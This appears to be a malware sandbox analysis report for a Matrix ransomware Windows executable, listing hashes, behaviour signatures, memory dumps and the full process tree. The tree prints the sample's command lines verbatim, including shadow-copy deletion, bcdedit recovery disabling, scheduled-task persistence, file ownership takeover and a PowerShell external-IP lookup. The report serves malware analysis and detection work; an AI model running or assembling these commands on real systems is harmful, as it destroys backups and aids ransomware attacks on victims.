Overview

overview

10

Static

static

bdd9dbc6d7...d2.exe

windows7_x64

10

bdd9dbc6d7...d2.exe

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    08-10-2020 15:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe

  • Size

    1.1MB

  • MD5

    837d96ee65e177210ad77e0b7a3e2ee1

  • SHA1

    9f96a1acbcf006bf9cc61119dc76ca47adf63066

  • SHA256

    bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2

  • SHA512

    3369cccd102ef223a3d3bcb8b7cd11bc409cdb63bbbce33c8bbd05e6b52bc32b2a9c3ff29202e8107da6eab04e61fab0a7645631821d37bc3120dfe86bc26a62

Score
10/10
ransomwareevasionupxpersistencematrixdiscovery

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 1901 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blacklisted process makes network request 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies service 2 TTPs 11 IoCs
    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 8228 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 5 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of WriteProcessMemory 85 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
    "C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:3892
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe" "C:\Users\Admin\AppData\Local\Temp\NWpNt3mb.exe"
      2⤵
        PID:472
      • C:\Users\Admin\AppData\Local\Temp\NWpNt3mb.exe
        "C:\Users\Admin\AppData\Local\Temp\NWpNt3mb.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1668
        • C:\Users\Admin\AppData\Local\Temp\NWpNt3mb.exe
          "C:\Users\Admin\AppData\Local\Temp\NWpNt3mb.exe" "\\10.10.0.12\C$"
          3⤵
          • Matrix Ransomware
          • Executes dropped EXE
          PID:4904
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\GUJeHnZY.txt"
            4⤵
              PID:4888
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
                5⤵
                • Blacklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4756
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\WY8BJnrW.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4180
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
            3⤵
            • Blacklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4224
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\IBSu0oJE.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4384
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\IBSu0oJE.bmp" /f
            3⤵
            • Sets desktop wallpaper using registry
            • Modifies Control Panel
            PID:4504
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
            3⤵
            • Modifies Control Panel
            PID:4560
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
            • Modifies Control Panel
            PID:4600
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Rl3HlaVX.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4396
          • C:\Windows\SysWOW64\wscript.exe
            wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Rl3HlaVX.vbs"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4612
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\38deKgIT.bat" /sc minute /mo 5 /RL HIGHEST /F
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4740
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\38deKgIT.bat" /sc minute /mo 5 /RL HIGHEST /F
                5⤵
                • Creates scheduled task(s)
                PID:4804
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4852
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Run /I /tn DSHCA
                5⤵
                  PID:4896
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nfc6oAos.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4540
            • C:\Windows\SysWOW64\attrib.exe
              attrib -R -A -S "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"
              3⤵
              • Views/modifies file attributes
              PID:4712
            • C:\Windows\SysWOW64\cacls.exe
              cacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db" /E /G Admin:F /C
              3⤵
                PID:4824
              • C:\Windows\SysWOW64\takeown.exe
                takeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"
                3⤵
                • Modifies file permissions
                PID:4916
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c GQwpGzsU.exe -accepteula "qmgr.db" -nobanner
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5000
                • C:\Users\Admin\AppData\Local\Temp\GQwpGzsU.exe
                  GQwpGzsU.exe -accepteula "qmgr.db" -nobanner
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:5028
                  • C:\Users\Admin\AppData\Local\Temp\GQwpGzsU64.exe
                    GQwpGzsU.exe -accepteula "qmgr.db" -nobanner
                    5⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Enumerates connected drives
                    • Modifies service
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: LoadsDriver
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5064
          • C:\Windows\SYSTEM32\cmd.exe
            C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\38deKgIT.bat"
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:4928
            • C:\Windows\system32\vssadmin.exe
              vssadmin Delete Shadows /All /Quiet
              2⤵
              • Interacts with shadow copies
              PID:4100
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic SHADOWCOPY DELETE
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:492
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4376
              • C:\Windows\system32\vssadmin.exe
                "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                3⤵
                • Interacts with shadow copies
                PID:4440
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3708
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4820
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN DSHCA /F
              2⤵
                PID:4788
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Modifies service
              • Suspicious use of AdjustPrivilegeToken
              PID:4252

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/4224-15-0x0000000008110000-0x0000000008111000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-6-0x0000000073840000-0x0000000073F2E000-memory.dmp

              Filesize

              6.9MB

              Download

            • memory/4224-11-0x00000000071E0000-0x00000000071E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-10-0x0000000007170000-0x0000000007171000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-14-0x0000000008270000-0x0000000008271000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-9-0x0000000006F70000-0x0000000006F71000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-16-0x0000000009880000-0x0000000009881000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-17-0x0000000008DF0000-0x0000000008DF1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-13-0x0000000007CF0000-0x0000000007CF1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-8-0x0000000007270000-0x0000000007271000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-7-0x00000000045E0000-0x00000000045E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4224-12-0x00000000079A0000-0x00000000079A1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4376-46-0x00007FFA82DA0000-0x00007FFA8378C000-memory.dmp

              Filesize

              9.9MB

              Download

            • memory/4376-47-0x000001FC705E0000-0x000001FC705E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4376-49-0x000001FC72D40000-0x000001FC72D41000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4756-68-0x0000000008A70000-0x0000000008A71000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4756-59-0x00000000737A0000-0x0000000073E8E000-memory.dmp

              Filesize

              6.9MB

              Download

            • memory/4756-65-0x00000000082A0000-0x00000000082A1000-memory.dmp

              Filesize

              4KB

              Download